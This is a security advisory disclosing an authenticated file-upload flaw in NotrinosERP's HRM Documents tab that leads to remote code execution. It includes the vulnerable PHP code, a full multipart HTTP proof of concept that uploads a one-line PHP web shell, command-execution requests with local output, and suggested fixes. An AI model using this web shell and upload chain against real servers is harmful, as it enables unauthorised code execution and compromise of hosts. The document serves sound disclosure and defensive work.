NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

Summary

An authenticated user with the HR "Manage Employees" permission (SA_EMPLOYEE) can upload a file with an arbitrary extension through the employee Documents tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a .php file is stored under the web root and executes as code, yielding remote code execution on the server.

Details

The document-upload branch in hrm/manage/employees.php (function tab_documents()) moves the uploaded file using the client filename verbatim:

// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
    mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }

There is no extension allow-list, getimagesize(), MIME check, or content inspection on this path. Contrast this with the profile photo (pic) upload in the same file, which validates image type/extension/size, and with core includes/ui/attachment.inc, which deliberately generates a random extension-less name (uniqid()) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.

Reachability of the written file:

• company_path() resolves under the web root; config.default.php sets $comp_path = $path_to_root.'/company', so uploads land in company/0/documents/employees/.
• The only .htaccess in the project is the repo-root one, which denies .inc/.po/.sh/.pem/.sql/.log only — it does not block .php and does not cover company/.
• The stored path is then echoed unescaped into a clickable "View" link (hrm/includes/ui/employee_ui.inc lines 153-154 — file_path concatenated straight into href), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).

A crafted multipart filename containing ../ additionally enables path traversal (CWE-22) on PHP builds that do not basename ['name'].

Proof of Concept

The upload is gated by authentication and CSRF, but neither gates the file itself. Prerequisites: an authenticated session with SA_EMPLOYEE; an existing employee (employee_no); a valid doc_type_id; and the session CSRF token. The CSRF field is _token (validated bycheck_csrf_token() against $_SESSION['csrf_token']), so first GET the Documents form to read the hidden _token, then submit. Against your own local instance:

POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b

--b
Content-Disposition: form-data; name="_token"

<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"

<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"

x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"

Save Document
--b--

Then request the stored file (its exact path is shown in the Documents tab's "View" link):

GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1

The command in c executes on the server.

Validation (performed locally, no network)

The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's verbatim path/move logic wrote company/0/documents/employees/1_<ts>_shell.php (attacker-chosen .php extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:

$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>

Caveats: (1) the harness used copy() in place of move_uploaded_file() because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (poc/rce_demo.php); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root .htaccess does not block .php and does not cover company/. The full HTTP flow additionally requires the auth + _token + doc_type_id prerequisites above, none of which inspect the file.

Impact

Remote code execution on the hosting server by any authenticated operator holding the delegable SA_EMPLOYEE role (not necessarily an administrator). If a deployment grants SA_EMPLOYEE only to administrators, treat privileges-required as High (CVSS ≈ 7.2).

Suggested fix

• Never use the client filename on disk. Store with a server-generated name and no executable extension (mirror includes/ui/attachment.inc's uniqid() approach); keep the original name only as a DB label.
• Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the pic branch already does.
• Store uploads outside the web root, or drop an .htaccess/web.config in company/*/documents/ that disables script execution (php_admin_flag engine off, RemoveHandler .php, SetHandler none).
• htmlspecialchars() the stored path before emitting the "View" link (fixes the secondary XSS).

Resources / credit

• Affected code: hrm/manage/employees.php, hrm/includes/db/employee_document_db.inc, hrm/includes/ui/employee_ui.inc.
• Reported by: <Kasper Hong / Kasper Builds>.